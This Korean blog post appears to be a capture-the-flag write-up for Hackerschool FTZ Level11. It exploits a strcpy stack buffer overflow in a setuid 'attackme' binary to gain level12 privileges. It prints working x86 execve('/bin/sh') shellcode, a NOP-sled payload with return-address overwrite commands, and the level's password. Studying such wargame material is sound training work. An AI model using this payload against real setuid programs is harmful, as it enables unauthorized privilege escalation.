본문 바로가기

[Pwnable] 해커스쿨 FTZ

[해커스쿨 FTZ] Level11

이번엔 FTZ Level11을 풀어보자.

로그인을 하고, 파일 목록을 확인하고, 힌트를 확인한다.

힌트는 아래와 같다.

힌트의 코드는 attackme 라는 실행파일의 소스코드 인 것 같다.

str의 크기를 256으로 제한해놨는데, 입력값의 제한은 없다.

=> 버퍼오버플로우 문제이다 =>문자열 길이를 조절해 RET값 변조가 가능하다.

 

그리고 setreuid( 3092, 3092) 명령어를 통해 프로그램의 권한을 level12로 설정해 놓았다.

따라서 프로그램이 실행되는 중my-pass/bin/bash 같은 명령어를 통해 level12의 암호를 알아 낼 수 있을 것이다.

 

이를 메모리상에서 실행시키기 위해서는 shell code(쉘 코드)를 사용해야 한다.

shell code는 쉘을 실행시켜 주는 코드인데 보통 C언어로 이루어져 있고, 이것을 기계어로 변환시켜 최종적인 결과물을 16진수의 코드로 만든 것이다.

 

# strcpy 함수는 NULL문자 전까지의 문자열을 복사하는 함수인데, 문자열의 길이를 따로 검사하지 않는다.

  =>> 정해져 있는 버퍼의 길이보다 긴 문자열이 들어오면 BOF(Buffer Of Flow)가 일어난다.

 

attackme 파일을 tmp 디렉토리로 복사하고, attackme 실행파일을 분석해보자.

위 사진처럼 <main+41> : [ebp-264] 부터 입력값을 받는다.

 

str에는 256 바이트가 할당되었으므로 8바이트값이 dummy(쓰레기값)으로 들어있다고 생각 할 수 있다.

 

현재 스택 구조를 보면

높은주소 RET[4]
SFP[4]
dummy[8]
낮은주소 str[256]

이런 식으로 되어있는걸 알 수 있다.

 

25바이트 shell code를 사용해보자.

 

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

 

RET까지의 거리를 계산해보면

str[256]+dummy[8]+SFP[4] = 268 이다.

여기서 사용할 쉘코드 = 25

=> 268-25 = 243 이므로 이만큼 아무 의미없는 NOP (\x90)을 채우도록 하겠다.

 

이제 리턴주소를 구하기 위해 ebp-264의 주소를 구해보자.

 

str 값이 들어가는 지점인 main + 53에 bp (break point)를 걸고 아래와 같은 코드를 입력한다.

 

r `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"AAAA"'`

 

그리고 x/100 $esp 명령어를 사용해 스택을 확인해보자.

NOP(90) 으로 채워진 0xbffff540부터 시작되는 것을 알 수 있다.

0xbfffe940를 리턴주소로 잡고 attackme 를 실행해보자

 

./attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x40\xf5\xff\xbf"'`

 

생각한 대로 안나와서 리턴주소를 바꿔가며 해보았다.

결과적으로 0xbffffb40 에서 성공했다.

 

이제 아래 명령어를 원래 디렉토리에서 실행시키면?

./attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x40\xfb\xff\xbf"'`

 

짜잔.

 

level12 암호 : it is like this

'[Pwnable] 해커스쿨 FTZ' 카테고리의 다른 글

[해커스쿨 FTZ] level13  (0) 2020.03.12
[해커스쿨 FTZ] level12  (0) 2020.03.12
[해커스쿨 FTZ] Level10  (0) 2020.03.04
[해커스쿨 FTZ] Level9  (0) 2020.03.03
[해커스쿨 FTZ] Level8  (0) 2020.03.02